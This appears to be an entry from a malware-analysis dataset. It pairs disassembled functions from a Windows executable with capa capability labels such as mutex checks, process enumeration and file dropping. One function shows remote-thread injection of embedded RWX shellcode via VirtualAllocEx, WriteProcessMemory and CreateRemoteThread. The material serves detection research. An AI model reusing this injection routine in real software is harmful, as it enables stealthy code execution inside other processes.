joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409890
Capabilities:
Accept command line arguments
Check mutex on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x669ddb
mov eax, dword fs:[0]
push eax
sub esp, 0x2b4
mov eax, dword [0x71cf78]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push str.zhuzaiRxjhIce
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4098f0
push 0
push 0
push 0x69094c
call fcn.00433678
jmp 0x409a3c
test esi, esi
je 0x4098fb
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call fcn.00440340
add esp, 4
mov dword [ebp - 0x210], 0
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
test esi, esi
je 0x4099cf
cmp dword [ebp - 0x210], 3
jl 0x4099cf
push dword [esi + 4]
lea ecx, [ebp - 0x218]
call fcn.004096f0
push dword [esi + 8]
lea ecx, [ebp - 0x214]
mov dword [ebp - 4], 0
call fcn.004096f0
push dword [ebp - 0x218]
call fcn.0062e676
add esp, 4
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test esi, esi
je 0x409981
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x214]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4099ad
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x218]
mov dword [ebp - 4], 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x4099cf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0
lea ecx, [ebp - 0x2c0]
call fcn.00408cb0
lea eax, [ebp - 0x2c0]
mov dword [ebp - 4], 1
mov ecx, eax
mov dword [edi + 0x20], eax
call fcn.0042eb75
cmp eax, 1
jne 0x409a31
mov eax, dword [0x690964]
mov dword [ebp - 0x1f4], eax
mov al, byte [0x690968]
mov byte [ebp - 0x1f0], al
lea eax, [ebp - 0x20c]
push eax
push 2
mov dword [ebp - 0x204], 0x80
mov dword [ebp - 0x200], 7
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
lea ecx, [ebp - 0x2c0]
call fcn.004091a0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.006027d7
mov esp, ebp
pop ebp
ret
Function at 0x40b9c0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x71cf78]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push str.Kernel32.dll
mov dword [ebp - 0x44], 0x56ec8b55
mov dword [ebp - 0x40], 0x6a0875ff
mov dword [ebp - 0x3c], 0xffff6800
mov dword [ebp - 0x38], 0x15ff001f
mov dword [ebp - 0x34], 0x152000
mov dword [ebp - 0x30], 0xf685f08b
mov dword [ebp - 0x2c], 0xff6a1f74
mov dword [ebp - 0x28], 0x815ff56
mov dword [ebp - 0x24], 0x56001520
mov dword [ebp - 0x20], 0x200415ff
mov dword [ebp - 0x1c], 0xff6a0015
mov dword [ebp - 0x18], 0x202c15ff
mov dword [ebp - 0x14], 0xff500015
mov dword [ebp - 0x10], 0x15202815
mov dword [ebp - 0xc], 0x5ec03300
mov dword [ebp - 8], 0x4c25d
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
je 0x40bb9d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x691328
push ebx
call esi
push 0x691334
push ebx
mov dword [ebp - 0x58], eax
call esi
push 0x691348
push ebx
mov dword [ebp - 0x54], eax
call esi
push 0x691354
push ebx
mov dword [ebp - 0x50], eax
call esi
push 0x691368
push ebx
mov dword [ebp - 0x4c], eax
call esi
mov dword [ebp - 0x48], eax
xor eax, eax
nop word [eax + eax]
cmp dword [ebp + eax*4 - 0x58], 0
je 0x40bb9d
inc eax
cmp eax, 5
jb 0x40baa0
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x1000
push 0x14
push 0
push edi
call ebx
mov esi, eax
test esi, esi
je 0x40bb9d
push 0
push 0x14
lea eax, [ebp - 0x58]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40bb8e
push 0x40
lea eax, [esi + 4]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x25], eax
add eax, 4
push 0x1000
mov dword [ebp - 0x1e], eax
add eax, 4
push 0x40
mov dword [ebp - 0x16], eax
add eax, 4
push 0
push edi
mov dword [ebp - 0xf], eax
call ebx
mov ebx, eax
test ebx, ebx
je 0x40bb8e
push 0
push 0x40
lea eax, [ebp - 0x44]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40bb5f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x40bb5f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.006027d7
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call esi
push 0x8000
push 0
push ebx
push edi
call esi
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.006027d7
mov esp, ebp
pop ebp
ret
push 0x8000
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006027d7
mov esp, ebp
pop ebp
ret
Function at 0x40bbb0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x66a3c3
mov eax, dword fs:[0]
push eax
sub esp, 0x134
mov eax, dword [0x71cf78]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 2
mov dword [ebp - 4], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
mov dword [ebp - 0x140], esi
push eax
push esi
xor ebx, ebx
call sub.KERNEL32.dll_Process32First
or edi, 0xffffffff
test eax, eax
je 0x40bd89
lea ecx, [ebp + 8]
call fcn.0040ddb0
lea eax, [ebp - 0x138]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40bd64
call fcn.00423b74
test eax, eax
je 0x40bdd2
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [ebp - 0x13c], eax
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x13c]
call fcn.00402920
test al, al
jne 0x40bc93
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40bc77
sub eax, edx
lea ecx, [ebp - 0x13c]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.00408780
mov esi, dword [ebp - 0x13c]
mov byte [ebp - 4], 2
mov edi, dword [esi - 0xc]
test edi, edi
js 0x40bdc8
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, edi
or eax, ecx
jge 0x40bccb
push edi
lea ecx, [ebp - 0x13c]
call fcn.004033e0
mov esi, dword [ebp - 0x13c]
lea eax, [edi + 1]
push eax
push esi
call fcn.0062f6ea
push eax
call fcn.0040b840
add esp, 0xc
cmp edi, dword [esi - 8]
jg 0x40bdc8
mov dword [esi - 0xc], edi
mov byte [edi + esi], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x40bdd2
push eax
push esi
call fcn.0062c66c
add esp, 8
test eax, eax
jne 0x40bd08
inc ebx
push dword [esi - 8]
push esi
call fcn.0062f038
add esp, 8
test eax, eax
js 0x40bdc8
cmp eax, dword [esi - 8]
jg 0x40bdc8
mov dword [esi - 0xc], eax
or edi, 0xffffffff
mov byte [eax + esi], 0
add esi, 0xfffffff0
mov byte [ebp - 4], 0
mov eax, edi
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x40bd4a
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x138]
push eax
push dword [ebp - 0x140]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40bc37
mov eax, dword [ebp + 8]
push dword [eax - 8]
push eax
call fcn.0062f038
add esp, 8
test eax, eax
js 0x40bdc8
mov ecx, dword [ebp + 8]
cmp eax, dword [ecx - 8]
jg 0x40bdc8
mov dword [ecx - 0xc], eax
mov ecx, dword [ebp + 8]
mov byte [eax + ecx], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0xffffffff
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], edi
dec edi
test edi, edi
jg 0x40bda8
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.006027d7
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.004020e0
push 0x80004005
call fcn.004020e0
int3
Function at 0x40c280
Capabilities:
Copy file
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x71cf78]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00605fb0
push 0x68ffcf
push dword [ebp + 0x10]
call fcn.0062c66c
add esp, 0x14
push 0
push dword [ebp + 0xc]
test eax, eax
jne 0x40c2ca
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
jmp 0x40c2dc
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
push esi
push 0
push 0x4000000
push 3
push 0
push 1
push 0
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 1
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x44
mov esi, eax
lea eax, [ebp - 0x260]
push 0
push eax
call fcn.00605fb0
push dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x260], 0x44
push esi
push dword [ebp + 0xc]
mov word [ebp - 0x230], ax
xorps xmm0, xmm0
lea eax, [ebp - 0x20c]
push str._s__d___s_
push eax
movups xmmword [ebp - 0x21c], xmm0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x20
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x260]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test ebx, ebx
je 0x40c38b
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x40c396
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 8]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c3b3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp + 0xc]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c3cd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp + 0x10]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
pop esi
pop ebx
jg 0x40c3e7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.006027d7
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40c430
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x66a455
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x71cf78]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0x8000000
push 3
push 0
push 3
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40c48e
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
call fcn.00423b74
mov ecx, eax
test ecx, ecx
je 0x40c5ca
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0
mov ecx, 1
test edi, edi
jle 0x40c4fc
mov eax, dword [esi - 8]
sub ecx, dword [esi - 4]
sub eax, edi
or eax, ecx
jge 0x40c4db
push edi
lea ecx, [ebp - 0x10]
call fcn.004033e0
mov esi, dword [ebp - 0x10]
push edi
push 0x20
push esi
call fcn.00605fb0
add esp, 0xc
cmp edi, dword [esi - 8]
jg 0x40c5c0
mov dword [esi - 0xc], edi
mov ecx, 1
mov byte [esi + edi], 0
mov dword [ebp - 4], 1
test edi, edi
js 0x40c5c0
mov eax, dword [esi - 8]
sub ecx, dword [esi - 4]
sub eax, edi
or ecx, eax
jge 0x40c523
push edi
lea ecx, [ebp - 0x10]
call fcn.004033e0
mov esi, dword [ebp - 0x10]
push 0
lea eax, [ebp - 0x14]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esi - 8]
push esi
call fcn.0062f038
add esp, 8
test eax, eax
js 0x40c5c0
cmp eax, dword [esi - 8]
jg 0x40c5c0
mov dword [esi - 0xc], eax
mov byte [eax + esi], 0
cmp edi, dword [ebp - 0x14]
je 0x40c55e
xor edi, edi
jmp 0x40c58d
or edx, 0xffffffff
mov ebx, esi
test edi, edi
je 0x40c581
movzx eax, byte [ebx]
lea ebx, [ebx + 1]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x72e710]
sub edi, 1
jne 0x40c567
mov eax, dword [ebp + 0xc]
not edx
mov edi, 1
mov dword [eax], edx
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x40c5ac
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80070057
call fcn.004020e0
push 0x80004005
call fcn.004020e0
int3
Function at 0x40cae0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 0x10]
push ebx
push esi
push edi
push dword [ebp + 0x14]
mov edi, dword [ebp + 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov dword [ebp + 0x14], 0
push esi
mov dword [ebp + 0x10], esi
call fcn.004207c8
push esi
mov edi, eax
push 0
push edi
call fcn.00605fb0
push esi
push ebx
push edi
call fcn.006054b0
add esp, 0x1c
test esi, esi
je 0x40cb8a
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x40cb8a
push 0
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.004207d1
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 0x10
Function at 0x40d830
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push ecx
xor ecx, ecx
mov dword [ebp - 4], ecx
push ebx
nop word [eax + eax]
xor eax, eax
test cl, 1
je 0x40d84b
bts eax, 7
shr ecx, 1
test cl, 1
je 0x40d856
bts eax, 6
shr ecx, 1
test cl, 1
je 0x40d861
bts eax, 5
shr ecx, 1
test cl, 1
je 0x40d86c
bts eax, 4
shr ecx, 1
test cl, 1
je 0x40d877
bts eax, 3
shr ecx, 1
test cl, 1
je 0x40d882
bts eax, 2
shr ecx, 1
test cl, 1
je 0x40d88d
bts eax, 1
test cl, 2
je 0x40d896
bts eax, 0
shl eax, 0x18
mov ecx, eax
add eax, eax
sar ecx, 0x1f
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov ebx, ecx
sar ebx, 0x1f
and ebx, 0x4c11db7
lea eax, [ecx + ecx]
xor ebx, eax
xor edx, edx
lea ecx, [edx + 1]
nop dword [eax]
test bl, 1
je 0x40d92f
mov eax, 0x20
sub eax, ecx
bts edx, eax
inc ecx
shr ebx, 1
cmp ecx, 0x21
jl 0x40d920
mov ecx, dword [ebp - 4]
mov dword [ecx*4 + 0x72e710], edx
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0xff
jle 0x40d840
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410860
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x71cf78]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
push 0
push str.TrayNotifyWnd
push 0
push eax
call esi
push 0
push str.SysPager
mov edi, eax
push 0
push edi
call esi
push 0
push str.ToolbarWindow32
push 0
test eax, eax
je 0x4108af
push eax
jmp 0x4108b0
push edi
call esi
mov edi, eax
test edi, edi
je 0x410901
push ebx
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ebx, dword [ebp - 0xc]
xor esi, esi
mov eax, dword [ebp - 8]
sub ebx, dword [ebp - 0x14]
sub eax, dword [ebp - 0x10]
test ebx, ebx
jle 0x410900
cdq
sub eax, edx
sar eax, 1
movzx ecx, ax
shl ecx, 0x10
mov dword [ebp - 0x18], ecx
movzx eax, si
or eax, ecx
push eax
push 0
push 0x200
push edi
call dword [sym.imp.USER32.dll_SendMessageA]
mov ecx, dword [ebp - 0x18]
inc esi
cmp esi, ebx
jl 0x4108e4
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.006027d7
mov esp, ebp
pop ebp
ret
Function at 0x4110c0
Capabilities:
Create thread

Disassembly:
cmp dword [0x72b0ac], 0
jne 0x4110e7
push 0
push 0
push ecx
push 0x411e50
push 0
push 0
mov dword [0x72b0ac], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x416c30
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x71cf78]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x416c64
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x416c64
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [ebx]
test al, al
je 0x416d2a
push edi
mov edi, ebx
mov ecx, ebx
cmp al, 0x2f
je 0x416c7b
cmp al, 0x5c
jne 0x416c7d
mov edi, ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x416c73
cmp edi, ebx
je 0x416cc0
sub edi, ebx
lea eax, [ebp - 0x20c]
push edi
push ebx
push eax
call fcn.006054b0
add esp, 0xc
cmp edi, 0x104
jae 0x416d3a
lea eax, [ebp - 0x20c]
mov byte [ebp + edi - 0x20c], 0
push eax
push esi
call fcn.00416c30
add esp, 8
mov byte [ebp - 0x108], 0
test esi, esi
je 0x416ce0
lea ecx, [ebp - 0x108]
sub ecx, esi
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x416cd3
mov esi, ebx
mov al, byte [ebx]
inc ebx
test al, al
jne 0x416ce2
lea edi, [ebp - 0x108]
sub ebx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x416cf2
mov ecx, ebx
lea eax, [ebp - 0x108]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop edi
cmp eax, 0xffffffff
jne 0x416d2a
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.006027d7
mov esp, ebp
pop ebp
ret
call fcn.00602ebd
int3

Function at 0x4176e0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4177a8
cmp dword [esi + 4], 0xffffffff
jne 0x4177a8
push edi
lea edi, [esi + 0x140]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417711
sub ecx, edx
mov al, byte [ecx + esi + 0x13f]
cmp al, 0x5c
je 0x417743
cmp al, 0x2f
je 0x417743
dec edi
nop word [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x417730
mov ax, word [0x690b6c]
mov word [edi], ax
mov edi, dword [ebp + 0x10]
cmp edi, 1
jne 0x417769
push edi
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x417769
pop edi
mov eax, 0x2000000
pop esi
pop ebp
ret 0xc
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0041a450
add esp, 0x10
test eax, eax
jne 0x417789
mov eax, dword [ebp + 0x10]
pop edi
pop esi
pop ebp
ret 0xc
push eax
call fcn.0041adf0
add esp, 4
mov dword [esi], eax
xor ecx, ecx
mov edx, 0x200
test eax, eax
cmove ecx, edx
pop edi
mov eax, ecx
pop esi
pop ebp
ret 0xc
mov eax, 0x1000000
pop esi
pop ebp
ret 0xc
Function at 0x417ee0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
movsx eax, byte [ebp + 0xc]
mov ecx, dword [edx]
xor eax, ecx
movzx eax, al
shr ecx, 8
xor ecx, dword [eax*4 + 0x692380]
movzx eax, cl
add eax, dword [edx + 4]
imul eax, eax, 0x8088405
mov dword [edx], ecx
mov ecx, dword [edx + 8]
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x692380]
mov dword [edx + 8], ecx
pop ebp
ret
Function at 0x41a580
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, esi
imul ebx, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x14]
cmp byte [edi], 0
je 0x41a5be
push 0
lea eax, [ebp + 0xc]
push eax
push ebx
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x41a5b2
mov byte [edi + 8], 1
mov eax, dword [ebp + 0xc]
xor edx, edx
pop edi
div esi
pop esi
pop ebx
pop ebp
ret
mov edx, dword [edi + 0x1c]
mov esi, dword [edi + 0x18]
mov ecx, dword [edi + 0x14]
sub esi, edx
lea eax, [edx + ebx]
cmp eax, dword [edi + 0x18]
cmovbe esi, ebx
add ecx, edx
push esi
push ecx
push dword [ebp + 8]
call fcn.006054b0
add dword [edi + 0x1c], esi
add esp, 0xc
mov eax, esi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x41a770
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x41a77e
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
not eax
cmp esi, 8
jb 0x41a83d
push edi
mov edi, esi
shr edi, 3
movzx ecx, byte [edx]
sub esi, 8
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x692380]
movzx ecx, byte [edx + 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x692380]
movzx ecx, byte [edx + 2]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x692380]
movzx ecx, byte [edx + 3]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x692380]
movzx ecx, byte [edx + 4]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x692380]
movzx ecx, byte [edx + 5]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x692380]
movzx ecx, byte [edx + 6]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x692380]
movzx ecx, byte [edx + 7]
add edx, 8
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x692380]
sub edi, 1
jne 0x41a796
pop edi
test esi, esi
je 0x41a85b
movzx ecx, byte [edx]
lea edx, [edx + 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x692380]
sub esi, 1
jne 0x41a841
not eax
pop esi
pop ebp
ret